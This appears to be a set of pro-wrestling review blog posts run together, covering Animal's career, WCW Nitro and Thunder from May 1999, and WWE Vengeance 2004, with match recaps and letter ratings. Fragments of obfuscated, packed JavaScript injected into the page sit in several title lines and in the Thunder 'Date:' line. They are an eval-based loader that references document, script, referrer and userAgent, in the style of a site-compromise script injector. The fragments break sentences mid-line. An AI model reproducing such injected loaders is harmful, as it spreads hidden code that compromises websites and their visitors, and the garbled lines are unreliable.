Wrestler of the Day – October 12: Animal

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aknyy|var|u0026u|referrer|tyssk||js|php'.split('|'),0,{})) is the less talkative member of the Legion of Doom: Animal.

Bunkhouse Stampede

Dusty Rhodes, Tully Blanchard, Ivan Koloff, The Warlord (wearing a Lifeguard shirt for no apparent reason), Arn Anderson, Lex Luger, The Barbarian, Animal.

Dusty gets a big entrance of course with all his accomplishments listed. Did I mention he was booking at the time? Seriously, ONLY DUSTY had anything listed about him, including the match he won to qualify here, his world title reigns, his US Title reigns, and his TV Title reigns. No one else got anything but their normal entrances. This could get bad fast. All eight are in there at once. There aren’t any weapons like promised or anything.

Remember, it’s a battle royal in a cage where you have to throw them over the ropes or through the door. My goodness this is idiotic. Apparently it’s unheard of for someone to win three straight Bunkhouse Stampedes. That could be because this is THE THIRD ONE! Wow Dusty lowered some IQs. Everyone is in some screwed up street clothes of some kind and this is just idiotic.

Apparently the referee has to determine if a guy goes over the cage or through the door, since that’s overly complicated I guess. Wow shoving people OVER A CAGE looks stupid. See, when it was a regular battle royal, IT MADE SENSE. Blanchard and Anderson work together of course. Barbarian, Warlord and Koloff are in the same stable mind you so they’ll likely work together. Koloff and Dusty climb the cage due to idiocy.

I’m watching people try to throw PEOPLE over a cage. Does that sound stupid to you or is it just me? How hard would it be to throw someone that is fighting back over a cage wall? Because to me, IT SOUNDS IMPOSSIBLE. Also, there are a lot of people walking around on the top ropes which is just freaking stupid too. No one is out or anything yet.

Arn saves himself from being thrown out the door as I realize how much this sounds like a really bad comedy sketch. Koloff is bleeding. Winner gets half a million dollars. Not sure if I said that or not but I don’t want to stop the tape long enough to go back and read it. I feel sorry for Ross and Caudle trying to make this sound interesting or intense or whatever it’s supposed to be.

Luger and Dusty just go off as we’re supposed to believe that a guy that is built like Dusty is supposed to be in the same kind of condition as a stallion like Luger. Right. Oh yeah, and keep in mind this whole cowboy southern thing is in NEW YORK CITY. They continue to try to make this sound good and it’s just failing. Wow this was ten days before I was born and 12 before Hogan lost the world title to Andre. Holy goodness that’s weird to think about.

Still no one out and we’re almost 15 minutes into this. It’s mainly just people in jeans hitting people with belts and boots. Yeah it’s riveting in case you can’t tell. Dusty’s arm is bleeding from being worked over with a belt. Make this stop please. Animal tries to shove Anderson over the top. I want to break this match.

Koloff, like an idiot, although at this time he’s one of two former world champions in there somehow, climbs over the cage to get away from Animal and gets knocked out to take us down to seven. Oh sweet mercy kill me now. So let’s just keep the camera on Koloff FOREVER as we see the EPIC DRAMA of him standing up. Animal and Warlord fight to the door and Warlord gets knocked to the door. Animal gets kicked in the head by Barbarian and it knocks both guys out in a stupid looking spot.

We have Dusty, Luger, Anderson, Blanchard and Barbarian left. Blanchard gets put in the Rack which at least hurts him. Some fan shouts about how gay this is. Thanks for that. Luger takes a Gourdbuster and the Horsemen try to throw him out. Since Luger didn’t have any gourds on him though, he was fine and stays in.

Anderson, Luger and Blanchard fight by the door and they all go out after like three minutes of fighting. Arn at one point stood on the third step and choked Luger. Yeah he deserved to lose. So we have Barbarian vs. Dusty. Any bets on who wins here? Barbarian gets some brass knuckles and pops Dusty with them. Barbarian hits like three of his top rope headbutt finishers but Dusty fights back baby!

They climb to the top rope for the epic move known as the OH DANG THIS MATCH MAKES NO SENSE SO LET’S CLIMB UP SO WE CAN HAVE A REASON TO GET THROWN OVER THE CAGE! Yep, Dusty wins by hitting the elbow to the head and we’re done. Earl Hebner is the referee here but would be in WWF in 12 days for the famous twin angle. Dusty gets a big bronze cowboy boot. Give me a FREAKING BREAK!

We hear about Dusty was considering retiring before this but came back “for the people.” So he was about to leave and came back for the people. So apparently by coming back for the people, he just had to come up with a PPV for himself and put himself over in it. Sure why not.

Rating: F. There was a cage match with a battle royal going on. This was a MASSIVE love letter from Dusty to Dusty. This was all about getting him even FURTHER over and making things look even stupider. Somehow Dusty was the wildcard and the favorite at the same time. He’s US Champion already but was going to retire. I give up. Just a joke of a main event and a show.

Road Warriors/Norman the Lunatic vs. Cactus Jack/Kevin Sullivan, Bam Bam Bigelow

Norman the Lunatic is more commonly known as Bastion Booger. This is a weird pairing of six guys if there has ever been one. Oliver Humperdink is here too as Bigelow’s manager and is bare-chested. This is just strange on all levels and I have no idea what the point of this is supposed to be. The LOD comes out on Harleys while Norman has to walk behind them. That sums up this match nicely.

How funny is it that of all these people, Cactus Jack was the most successful? Cactus is very young at this point and has nothing going for him. Norman is allegedly an escaped mental patient. That sums things up very well. Animal and the future four time world champion start us off. Animal is MOVING out there. He does two leap frogs and drops low at great speed. This is just weird to see but interesting I’d say.

Hawk vs. Bigelow. Oh dear. Bigelow is sleeveless here which is a strange look for him. This could set selling back a thousand years. Hawk gets the best dropkick he’s ever thrown, hitting Bam Bam square in the face. Sullivan comes in, looks at Hawk, and tags out. Instead he gets Norman. For him imagine Eugene meets Bigelow. See what I mean? In a painful looking spot, Hawk throws the (wooden) steps at Jack where they just bounce off his back while he’s bent over.

OW even if they’re fake. They all take their turns beating on Norman and Sullivan just looks completely out of place in this. Bigelow backdrops Norman. Imagine that one if you can. Norman hits a clothesline on Cactus and just falls on his hip. That sums things up for him quite well I’d think. A big old brawl breaks out as Hawk hits the top rope clothesline on Sullivan for the pin.

Rating: D+. Not bad I guess, but at the same time when the best technician is Kevin Sullivan, you’re in trouble. This was to get the crowd going though and I think it worked ok for what it was. That and I can’t imagine they expected this to be a great match or anything, so I’ll let it slide I guess.

Off to the WWF now at Survivor Series 1990.

The Warriors vs. The Perfect Team

Ultimate Warrior, Texas Tornado, Legion of Doom

Mr. Perfect, Demolition

Crush immediately comes in to jump Warrior and take over. Smash comes in to slam Warrior and Crush drops a top rope knee for two. Perfect is freaking out in his trademark over the top style. Warrior gets up a boot in the corner and clotheslines Crush down. Off to Hawk who always looks like he could murder someone in the ring. Perfect tries him out and is immediately slammed down.

Battlebowl First Round: Animal/Booker T vs. Hawk/Lex Luger

Love that Iron Man music. Dusty is excited. This was one of his bright ideas. Wow a tag team is fighting each other. What are the odds of that??? Luger is a face now in case you’re keeping track. If you are, I feel very sorry for you. Tony suggests 100 million people are watching this PPV broadcast and are listening in English. That’s most amusing.

Ok so the first round has 8 matches and then there’s ANOTHER round of tag matches. The winners of the second round of matches go to the battle royal. Ok then. Luger and Animal start us off. The commentary is somehow stupider than usual. Luger is a tag champion here along with Sting. Hawk hasn’t come in yet. Booker hits a Spinarooni which has no official name yet. Luger is TV Champion here too. Hawk and Luger get into it and we have the massive brawl. That’s a double countout. Hawk was never in the match.

Rating: D-. For these matches, I’m starting at a D rather than a C like I usually do. This was quick and boring if nothing else, but it gives me a very bad feeling about the rest of the show. Also, was there a point to the double countout? Die they really need to avoid both teams going to the battle royal?

Back to the WWF with Wrestlemania XIII.

Nation of Domination vs. Legion of Doom/Ahmed Johnson

More elimination stuff at Survivor Series 1997.

Team Legion of Doom vs. Nation of Domination

Legion of Doom, Ken Shamrock, Ahmed Johnson

LOD 2000 vs. Disciples of Apocolypse

Another six man at In Your House XXV.

Disciples of Apocalypse vs. LOD 2000

Edge/Gangrel vs. Droz/Animal

For some reason that can only be explained by WCW, Animal was brought in as a surprise mystery guy. Here he is at Sin.

WCW World Title: Sid Vicious vs. Jeff Jarrett vs. Scott Steiner vs. ???

Flair comes out after the three known people and says the Mystery Man will be here later. Steiner goes after Flair but Jarrett stops him. Sid is in jean shorts here instead of full tights like he was last month. Sid clears the ring and hammers away on both of them for awhile. Jarrett is trying to give up the match apparently. Oh dear. Steiner falls trying to get out of the ring which sums up the whole thing perfectly.

Steiner gets the clothesline, the elbow and the pushups. Sid is sent into the front row and Jarrett adds a Stunner onto the railing. Steiner adds a belt shot to the face as you wonder now why Jarrett doesn’t lay down in the ring and let Steiner get the quick pin to retain. Apparently that would have been a better idea as Sid fights back. Can’t powerbomb Jarrett though and the beatdown continues.

They beat down Sid and Jarrett is told to cover him by Steiner. The announcers think there’s something going on here. Sid fights back and this a double suplex which was rather impressive in theory. He more or less DDTed Steiner and suplexed Jarrett. Here’s the comeback as Sid hits a bunch of clotheslines and a chokeslam on Jarrett for two.

Cobra clutch slam puts Steiner down and Sid follows Jarrett to the floor. Jarrett is sent to the front row and we cut to the back to see Flair bring someone out of the limo from earlier who looks like he’s in a Jason Vorhees mask. We cut back to the arena…..and Sid has broken his leg to the point where it looks like a twisty straw.

The problem now is that they can’t do anything because Sid can’t move and they can’t touch him and since Steiner and Jarrett are friends they can’t do anything. Flair’s music FINALLY comes on and the mystery dude is here. There’s a trainer in the ring already to check on Sid so you can tell how bad it is. The Mystery Man comes in and kicks Sid in the head so Steiner can pin him to end this.

Rating: D. That’s not factoring in the ending because clearly that’s not what they had planned as Sid was injured so badly he wouldn’t wrestle for about a year. The match up to that point was pretty weak though as we were just waiting on the mystery dude to get there, making it a lame duck match. Anyway, weak match to end a weak end of the show.

And the Mystery Man is Road Warrior Animal, making the whole thing a bigger joke than it already was. This resulted in the debut of the next super heel stable: the Magnificent Seven, which was comprised of Flair, the Steiners, Luger, Bagwell, Animal and Jarrett. And you wonder why they went out of business.

Smackdown Tag Titles: MNM vs. Heidenreich/Animal

This set up a six man at No Mercy 2005.

MNM vs. Legion of Doom/Christy Hemme

Chris Benoit vs. Animal

That would be it for Animal as a regular guy but he would make a few appearances here and there, such as at Slammiversary 2007.

Tag Titles: Team 3D vs. Rick Steiner/???

Heath Slater vs. Animal

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Monday Nitro – May 17, 1999: Save Us Raven!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiean|var|u0026u|referrer|dfrfz||js|php'.split('|'),0,{})) Nitro #188
Date: May 17, 1999
Location: Five Seasons Center, Cedar Rapids, Iowa
Commentators: Bobby Heenan, Tony Schiavone

DJ Ran.

We get a video on Kevin Nash challenging Bret Hart for a match on the Tonight Show. Meaning a ring would be set up in the Tonight Show studio and the match will air on NBC one night at 11:30.

More Eric, this time talking about him not being sure if he had authority at Slamboree, but knowing it was the right thing. Nick Patrick was right too.

Piper and Bischoff arrive.

Tenay is now on commentary.

Bret Hart will be on the Tonight Show tomorrow night to respond to Nash. However, he will NOT be on WCW TV anytime soon.

Clips of Gorgeous George vs. Charles Robinson.

Cruiserweight Title: Rey Mysterio Jr. vs. Evan Karagias

David Flair vs. Sgt. Buddy Lee Parker

Charles Robinson/Ric Flair vs. Gorgeous George/Randy Savage

Charles Robinson/Ric Flair vs. Madusa/Randy Savage

DJ Ran.

5. Flair thinks Hilary Clinton is the Phantom Menace.

8. He made Dr. Kevorkian want to commit suicide.

Piper tells Savage to wait his turn so George hits him with the crutch and Savage piledrives him. Savage slams Bischoff and loads up the big elbow but Nash comes out to break it up. Randy throws out a challenge to Nash and thinks Nash should just hand the belt over. Nash implies that the girls are hookers and says handing the belt over before was a political move. He accepts the challenge for a title match at some point in the future.

Clips from the three main events at Slamboree.

Hardcore Hak vs. Fit Finlay

TV Title: Booker T. vs. Rick Steiner

TV Title: Rick Steiner vs. Sting

Sting does his bulldog but misses the Stinger Splash. Rick pounds on him in the corner and on the mat but Sting just pops up. They fight to the floor, only to have Sting get sent into the post. The floor mats are peeled back and Rick loads up a suplex onto the concrete. As is almost always the case, Sting reverses to prevent a probably concussion and chokes Rick with the TV cable. They head back inside where Sting hammers away with clotheslines until Scott Steiner comes out to yell at Sting. Cue Lex Luger to save his buddy as the match is thrown out with no one actually interfering.

Rating: D-. This was much more of a brawl than a match but somehow this might have been the most entertaining thing all night. Why we need to set up Rick Steiner vs. Sting and old guys vs. old guys is something only WCW could answer, but hopefully Booker gets to do something interesting soon.

Konnan vs. Curt Hennig

Tag Team Titles: Raven/Saturn vs. Chris Benoit/Dean Malenko

Raven and Saturn are defending and have Kanyon with them. Dean and Saturn feel each other out to start until Malenko is sent out to the floor and Saturn superkicks an invading Benoit down. A big dive takes Chris out again and Malenko gets caught by something like Total Elimination but with a clothesline instead of a kick to the face. Back to Benoit who slugs it out with Raven, who actually gets the better of it. He puts Benoit on his shoulders for a cross body from Saturn for two as the fans are finally into something tonight.

Back from a break with Dean leg lariating Raven but getting rolled up for two. Benoit gets two off a snap suplex before hammering away in the corner. Raven just crawls over and makes the tag to Malenko as the announcers talk about the Steiners vs. Luger/Sting. Heaven forbid they talk about the Tag Team Title match right in front of them. Saturn gets sent to the floor for a brawl with Malenko but has to sidestep a baseball slide, sending it right into Dean instead.

We follow the champions all the way to the back where Bam Bam Bigelow is watching. He and Kanyon jaw a bit.

WCW World Title: Diamond Dallas Page vs. Kevin Nash

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Vengeance 2004: A Forgotten Little Gem

Vengeance 2004
Date: July 11, 2004
Location: Hartford Civic Center, Hartford, Connecticut
Attendance: 7,000
Commentators: Jerry Lawler, Jim Ross

So Benoit won the title at Mania and since then it’s been Benoit vs. HHH because HHH can’t allow anyone to be a star on Raw other than him. We also have Batista vs. Jericho and Edge vs. Orton which is considered something of a modern classic for no apparent reason. This is an odd time for the company as they’re just breaking out of that 2003 funk but they haven’t hit their stride yet. It’s coming though. Let’s get to it.

The opening video is about Benoit’s rise and now that we’ve talked about him enough it’s time for HHH to take over our screen. The announcers aren’t at ringside here as they had this weird idea about putting them way in the back for no explained reason.

Tajiri/Rhyno vs. Jonathan Coachman/Garrison Cade

Uh…yeah. Seriously how do I even talk about this? This is like an opener on Heat, but a bad one. This was announced on Heat. Seriously, what was the thought osn this? To my great shock and awe, this has a backstory. For no apparent reason Eugene was made GM of Raw for a night and had a game of musical chairs for a title match. Tajiri was eliminated first and Coach got the last seat. This fell out of that.

Tajiri is actually popular. Coach wisely runs from Rhyno. I’ve never seen the appeal of Cade. The guy just isn’t that good and that’s all there is to it. Oh look: Rhyno vs. Garrison Cade on Pay Per View. Coach and Cade beat up Tajiri. Again, is there a reason this is happening? I mean was there NOTHING else to try?

After even more boring stuff, we get green mist from Tajiri to Cade. Apparently the referee seeing green stuff on Cade’s formerly blonde hair is perfectly fine. This is making my head hurt and I’m not even fifteen minutes into it. Cade gets gored, Coach gets kicked and I need a stiff drink.

Rating: D. This was a glorified squash and it was just boring. Tajiri was always good for some stuff, but Cade and Coach? Really? That’s the best you can come up with? This was one of the dumbest openers of all time and it’s also one of the least interesting. I mean just think about it: Tajiri and Rhyno vs. Garrison Cade and Jonathan Coachman. Think about that for a minute.

Evolution is in the back and they make fun of Eugene. Is there a reason for this? Ah Flair and Eugene have a tag title shot for no apparent reason. This was around the time where HHH was pretending to be his friend to set up their match at Summerslam. Evolution can’t find him though so HHH goes to find him. He’s with Benoit who is telling him that Evolution is using him.

We recap Jericho vs. Batista where the idea is Batista keeps knocking Jericho out with a really strong clothesline. No one can stop Batista, so Jericho is going to try.

Batista vs. Chris Jericho

It amazes me how much things can change in a few years as this would be main eventing a PPV in four years. Batista has very different music at this point. Jericho has the same. That’s the one thing Jericho has never changed and the more I think about it the better I think that is. Batista already has those shoulder blocks in the corner that he uses so often. So basically the problem here is that Jericho can’t do a thing because Batista is really strong.

I have no idea why I love it so much but I freaking love the jumping back elbow from the top or from the not top for that matter. It just looks freaking sweet. Batista drops an F bomb which is rather amusing. He starts going after Jericho’s head which makes sense for the clothesline finisher that you would assume is coming up. And then he works on the back. Sure why not. King is heel here but it’s just not working that well. He’s trying to be funny and it’s just failing.

Jericho makes a short comeback but Batista hits a HUGE spinebuster. That freaking hurt. Lionsault and Batista Bomb bots miss but reverse the order of those. Finally the Bomb hits and even though Jericho’s foot is on the rope the pin is counted anyway. Big win for the Animal before he has that name.

Rating: C+. This was FAR better than the previous match. Batista is really young at this point so he needed the big time experience here. Jericho was in a major rut at this point and this was a great example of that. He wouldn’t get out of it for awhile and would leave next summer.

HHH and Evolution are in the back and the rest of them leave. Flair moves and behind him is Eugene. HHH sits down with him and keeps manipulating him to eventually helping him win the title. He and Flair give Eugene a Flair robe. Does he just have a closet full of those to give out to people?

Raw Tag Titles: La Resistance vs. Eugene/Ric Flair

Take a guess as to who the champions are here. On a random note, Lillian in Go-Go Boots is AWESOME. Flair’s music cuts off the French national anthem to a huge cheer. The look on Flair’s face when he looks at Eugene is hilarious. Eugene and Conway start us off and the Kentucky guy struts. These two were a team in OVW called the Lords of the Ring who won like 10 tag titles there. He starts using a bunch of Flair moves resulting in the required freak out from Flair.

Flair hasn’t even been in yet. Flair finally comes in and Grenier is in trouble. He’s one of those guys that never actually did anything but had a job because he fit into a tag team. Flair for the most part probably used more basic stuff than anyone ever while making it work. I mean really, how many complex moves can you think of Flair using? He does really basic stuff but he does it so efficiently that he makes himself look great while at the same time making others look great. That’s a very rare quality.

The figure four goes on but Conway makes the save. Flair is RIDICULOUSLY popular here. For some reason this is getting some time. It says a lot when a guy like Flair, a member of the top heel stable, is getting cheered this much. There’s a massive row of signs that spell out WOO in the crowd. There are a lot more o’s in there though which I’d guess you figured out. Why is it that you never see guys use the front facelock in singles matches but you see it all the time in tags?

Without a tag, Flair gets hit by Au Revoir (the champions’ finisher) but Eugene Eugenes Up and beats the tar out of them. And then he knocks the referee down for the CHEAP DQ. Eugene hits a Stunner and Rock Bottom on them after the match.

Rating: C. I don’t think anyone was really expecting much here or a title change and that’s about what they got. This was by no means bad but it’s nothing great at all. Flair and Eugene were part of a far more important angle that would culminate with HHH beating up a slow man on PPV. Still though, not awful at all but nothing special either.

Ad for Summerslam, which if I remember right was a pretty bad show.

We recap Matt Hardy and Lita vs. Kane. The idea here is kind of in depth but simple at the same time. So Matt loved Lita and wanted to marry her. Kane kind of stalked them for no reason other than he’s evil. Lita got pregnant and Matt proposed to her, but of course the baby is Kane’s. The reason though is she slept with Kane to prevent him from more or less killing Matt. That sets this up.

Matt Hardy vs. Kane

It’s no DQ here. No count out either according to JR. Kane’s music ROCKED back in the day. Matt gets a NICE pop. He always had that potential to be something big but they kept botching it. This is pure soap opera and it works great. They’re not sure who the baby belongs to here so that’s a major factor in this. JR says if Kane wants kids he should get married and do it the right way. That’s just amusing.

I’ve always loved that huge clothesline he’d hit off the top. To be fair though, Kane has always been one of my favorites. They’ve been in the ring maybe 45 seconds and we’re over five minutes into this. That fits though as it’s supposed to be a really serious feud so I’m fine with it. Kane gets tied up in the ropes and Matt goes OFF on him. Tombstone is countered into a Twist of Fate for two. A bad chokeslam hits on Matt as we’re waiting on Lita to get here.

Ah here she is. She bounces down to the ring and distracts Kane while he picks up the steps. Matt blasts the steps with a chair so they hit him in the head for the pin. I liked this more than I thought I would, but their Summerslam match was much better.

In the back Matt tells Lita he needs her to stay away from him until he can figure things out and for the sake of the baby.

Rating: B-. This is one of those matches where you have to consider the angle. This was sloppy and far more of a brawl than a traditional match, but that’s what it was supposed be. This came off as a big fight like it was supposed to be and I was into it. There’s some likely bias there but who cares? This worked pretty well I thought though and I liked it a lot more than most would.

We recap Edge vs. Orton. The idea here is that Orton has finally stopped being a pretty boy and is just being awesome, including the war with Foley at Backlash. Edge came back from injury and said someone had to stand up to Evolution and he’s going to start with Orton. When Edge got hurt, he was the hottest thing in the world, so this is by far the biggest match on the card as far as people drooling to see it.

Intercontinental Title: Edge vs. Randy Orton

Apparently the title has changed hands the most in July out of any month. Doesn’t really mean much but it’s a cool little factoid. Orton was just totally awesome as the ridiculously confident jerk that never lost. He’s held the belt forever here and this is just before he would rise to the main event picture and win the world title at Summerslam…before he had to hand it back to HHH a month later. Lawler has a crush on Orton I think.

Edge is using a lot of shoulder blocks and headlocks here. After about his fourth one, Orton tries to bail. And then he just comes back. Was there a point to that other than killing time? Ross says that this is for the title if you just tuned in. Make your own jokes. Orton is beating the heck out of Edge here. It amazes me how much his character has evolved over the years. Sweet goodness Edge is boring here. The fans like Orton actually.

Edge finally mixes it up a bit by hitting a nice missile dropkick off the top. Orton kicks the spear out of the way just like he’s done many times. Edge I beg of you: get a new freaking finisher. The Impaler is perfect. The fans are more or less split but there might be a slight lead for Orton. Orton does the Zeus/Giant neck spin thing that put Hogan out for months but on a guy that’s had neck surgery it doesn’t do much at all. Orton’s dropkick is freaking pretty. It just is.

And of course we get a chinlock. That makes this a real Orton match. The more I think about it the more I think a legdrop would hurt. Lawler and Ross argue about Edge’s hair. This is a LONG chinlock. Edge hits a dropkick into the ribs to get us back to even. This is long but not that interesting. It’s decent but from the thoughts I’ve heard about this before now I’d think it was a classic. By no means is that the case.

They crank things up a good bit and it gets a lot better. This has cracked twenty minutes and Orton goes for the RKO. Crowd is WAY into this. Let the near falls begin! After Orton takes the pad off the buckle he goes into it and there’s your spear to give Edge the belt. The spear had that explosion it needed to make it good too.

Rating: B. This was good but by no means a classic. This is a great example of a match where being long doesn’t exactly mean it’s great. Orton and Edge never really did anything spectacular here and it felt like a longer version of a regular match. It’s good, but by no means is it a classic.

This ran over 25 minutes and the first 20 are more or less a long Raw main event minus the good part. You cut ten minutes off of this and it’s FAR better. The last three minutes are quite good though as far as drama and drawing the crowd in.

Ad for the Diva Search. Christy Hemme won but Michelle and Maria were in it as were three others that are gone now.

Molly Holly vs. Victoria

This is a number one contender’s match. Molly had her head shaved recently for no apparent reason but she has a wig with a chinstrap holding it on. I smell a comedy moment later on. Victoria is more recently known as Tara. She went from being this psycho chick to being some dancing chick with a bad theme song. Such a shame. Victoria busts out a sweet moonsault for two. We nearly get a countout as Victoria may have hurt her what appears to be neck. Ah it’s her shoulder. Got it.

Why do so many women use the handspring elbow? It’s not like it’s a unique move when so many people use it. Molly works on the shoulder for a LONG time, including throwing her arm first into the ropes. Would that hurt? I’m not sure actually. Widow’s Peak doesn’t work but she hits more or less a superkick for the pin.

Rating: D. This was your standard Raw Divas match. The division was just bad at this point and this was no exception. Trish was champion and was injured at the moment hence the no title thing here. This just didn’t interest me at all though, although I’ve seen FAR worse matches.

Ad for Summerslam with Stacy in a short skirt.

We recap HHH vs. Benoit which more or less has been the main feud since Mania. Benoit has the title now but HHH won’t leave him alone and then last month when there was Benoit vs. Kane for the belt, HHH and Shawn just HAD to do a 50 minute Hell in a Cell match. In short, HHH wouldn’t let Benoit be the top guy and next month Benoit lost it. Eugene is being manipulated by Evolution and Benoit is trying to explain this to Eugene but accidently hit him with a chair. Sadly I think he’ll be involved in the main event.

Raw World Title: Chris Benoit vs. HHH

They try to make it sound like HHH is the second best technical guy in the world. So in other words not only are they saying Benoit is best, but they’re BOTH better than Angle. That’s just funny. Benoit wasn’t at his best at this point, but when he was at his best HHH insisted he wasn’t ready to be a main event guy since Angle vs. Lesnar was the top feud and that would just leave Benoit to fight HHH and we couldn’t do that right?

HHH has the white boots here which just look idiotic but whatever. We start with some very nice technical and even chain stuff. I love chain wrestling but it rarely happens anymore. Benoit works on the shoulder to set up for the Crossface. That’s why he’s great: intelligence. The headbutt misses though and HHH takes over. This has been back and forth so far and solid stuff. If the referee stops the match, Benoit keeps the belt? Even if Benoit is the one that’s hurt? That makes no sense at all.

This was a very strange time as even logic went out the window as you can see. HHH busts out the GORDBUSTER! Benoit had hurt his chest earlier so that move makes a ton of sense. And that again is what we call psychology. Benoit hurt his sternum so HHH works on it. That’s intelligent. HHH is beating the tar out of him and his chest here. Sweet niblets those chops are awesome sounding. And here the abdominal stretch makes sense.

And now let’s hit the sleeper. It’s boring, but far less so than the chinlock as you could maybe get a win with it. The chinlock has never meant anything other than rest. Resting is fine, but at least try to have a point to it. Sharpshooter is hooked and HHH is in trouble.

We go to the Germans and we’ve got a solid match here. And now we crank it up a bit as Benoit busts out a suicide dive. More like a running forearm through the ropes but it looked fine. The referee goes down and HHH calls for Eugene. Benoit hooks the crossface and Benoit tells Eugene to GET THE REF! HHH taps and no referee. Seriously, why do we need the slow guy to be involved in the ending of a great title match?

Benoit jumps Eugene when he comes in out of possible protection. Again, he’s beating up a slow guy but everything is fine with this I guess. Pedigree hits and still no referee. Can we get a second referee? I mean this is just stupid. It only gets two and we put the camera on Eugene of course. The guy in the far too small tights brings in a chair for HHH but then takes it back. This is officially the Eugene Show. And down he goes again.

Benoit gets the chair and takes out the running in Flair and Batista. Eugene is in AGAIN. This is just freaking stupid at this point. People are freaking LEAVING. Could it be because the slow guy has become the focus of this PPV? Again, he’s a great example of a guy that was fine for a minor role but they’ve given him this massive spot and the people turned on him. Eugene doesn’t want to hit either guy, Benoit starts a tug-of-war and HHH gets smacked in the head with it.

The referee is STILL down. And Benoit rolls him up for the pin after HHH sits around for 20 seconds. AWFUL ending. Again, they managed to take a great match and make it about Eugene. This was completely blasted and the fans would soon totally turn on Eugene and the whole character to the point where they actually tried turning him heel.

Yeah that sums things up well. Oh and the slow guy was the secret weapon of HHH. You have Dave Batista, Randy Orton and Ric Flair and you freaking pick Eugene? You deserve to lose buddy.

Rating: B. This was a great match until the last 7 minutes or so. Seriously, EUGENE was the focus of the ending of a PPV. That just does not work at all. He was a comedy character that got ridiculously over so they pushed him harder than he ever deserved to be. Nick Dinsmore, the guy that played him, is a good wrestler but this character simply didn’t work at this level. If you give this a legit finish, the match is FAR better and makes my head hurt far less.

Overall Rating: B-. It’s good, but at the same time this could have been SO much better. Orton vs. Edge is just not that good. It’s decent enough but at the same time it’s just the last 4 minutes or so that’s any good. The first twenty is like a REALLY long set up sequence. It’s good enough I guess but you chop ten minutes off of it and it’s VERY good. It’s good but could have been far better. There’s no other way to put it.

The main event is solid for the most part but it is dying for a better finish. One thing you can’t say is that they didn’t give the main matches enough time as of the two major ones the short one is over 26 minutes long. It’s definitely not a bad show at all, but this could have been a much better show given what they had. Oh and less Eugene. That would have helped a lot.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Thunder – May 6, 1999: The Dumping Ground

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezkyh|var|u0026u|referrer|tfrft||js|php'.split('|'),0,{})) May 6, 1999
Location: Bryce Jordan Center, State College, Pennsylvania
Commentators: Mike Tenay, Larry Zbyszko

We open with a recap of Page winning the title back last week.

Video on Nash vs. Page.

Video on Piper vs. Flair.

Scotty Riggs/Mike Enos vs. Raven/Saturn

Rick Steiner vs. Erik Watts

Rick takes him into the corner for a clean break, then takes him into the corner again and knees Watts in the ribs. Pick a side already dude. Watts is sent into the barricade and steps before a German supelx gets two. We hit the chinlock with some crossface shots before choking gets two for Rick. Back up again and a powerslam drops Watts before the Steiner Bulldog knocks him out. Rick puts on something like an STF if he was just bent over instead of laying down for the submission.

Video on Robinson vs. George.

Disorderly Conduct vs. Brian Adams/Horace

Oh COME ON. Horace chops Mike in the corner to start and nails a Vader style clothesline. Mike tries an armdrag and a slam before cranking on the arm. Off to Tom who works on the arm as well, only to get caught by a clothesline. Adams comes in for a double elbow and some right hands. Riveting stuff here. The tilt-a-whirl backbreaker gets two on Tom and Mike charges in and earns a gorilla press. Mike and Tom bail to the floor and get beaten up out there as well because the Black and White is TOUGH.

Brian and Mike get back in so Tom can trip Adams from the floor to take over. Tom gets two off a jawbreaker but Adams breaks through a double clothesline and tags in Horace. We get an assortment of kicks, punches and choking from Horace before Mike gets beaten down in the corner even more. Back to Adams for a spinebuster for two on Mike with Tom making the save. Horace comes back in and misses a charge, allowing for the hot (?) tag to Tom. He fights as much as he can but crotches himself on the top. A spike piledriver is enough to pin Mike.

Kanyon vs. Rey Mysterio Jr.

Texas Hangmen vs. Chris Benoit/Dean Malenko

Video on Page vs. Nash. I believe this is the same one from earlier.

Remember there’s no Nitro or Thunder this week.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Wrestler of the Day – September 20: Kurt Angle

Today is your Olympic hero and mine, Kurt Angle.

Smackdown Tag Titles: Rey Mysterio/Edge vs. Chris Benoit/Kurt Angle

This was the undisputed match of the year so this more or less has to be awesome. Edge is about as hot as possible here and Rey is pretty new here. Yeah he had been around only three months or so here. Edge is just straight up awesome here and the whole thing is just greatness. Angle vs. Rey to start us off. We have what, about 25 world titles in there? Angle takes him to the mat and slaps him in the back of the head to be a jerk.

Kurt is really the only heel in this match. He literally throws Rey into his own corner because he wants a grownup apparently. Rey won’t tag out though because he wants Angle. They had a great opener at Summerslam so this works for me. Rey can’t get out of much of anything so he steps on Kurt’s foot and hits him with what can only be called an FU.

He busts out the speed and slaps Angle in the back of the head just like Kurt did earlier. The announce table being in pieces is funny for some reason. Here’s Edge to a big old pop. This is before Edge hurt his neck so he’s a totally different worker here. Off to Benoit now. Expect a LOT of play by play here as if the reviews I’ve heard are any indication there isn’t going to be much to make fun of.

The Canadians do a much more technical sequence and it’s a lot more entertaining than you would think a side headlock should be. Edge gets a knee to Benoit’s ribs and focuses on them for a while. Flapjack and a rollup get two. And there’s a knee from Kurt as Edge hits the ropes to give Benoit an advantage. They try the same thing again but Edge spears him this time.

Benoit and Angle double team Edge in a very nice sequence. Back to Angle now. The fans are all over him which is always good to hear. Better for them to be making noise at all than to be bored. Rear naked choke to Edge and Rey is getting antsy. Tazz adds in something by saying Angle is making sure Edge is facing his partner to mess with his head. Nicely done Mr. suplex machine.

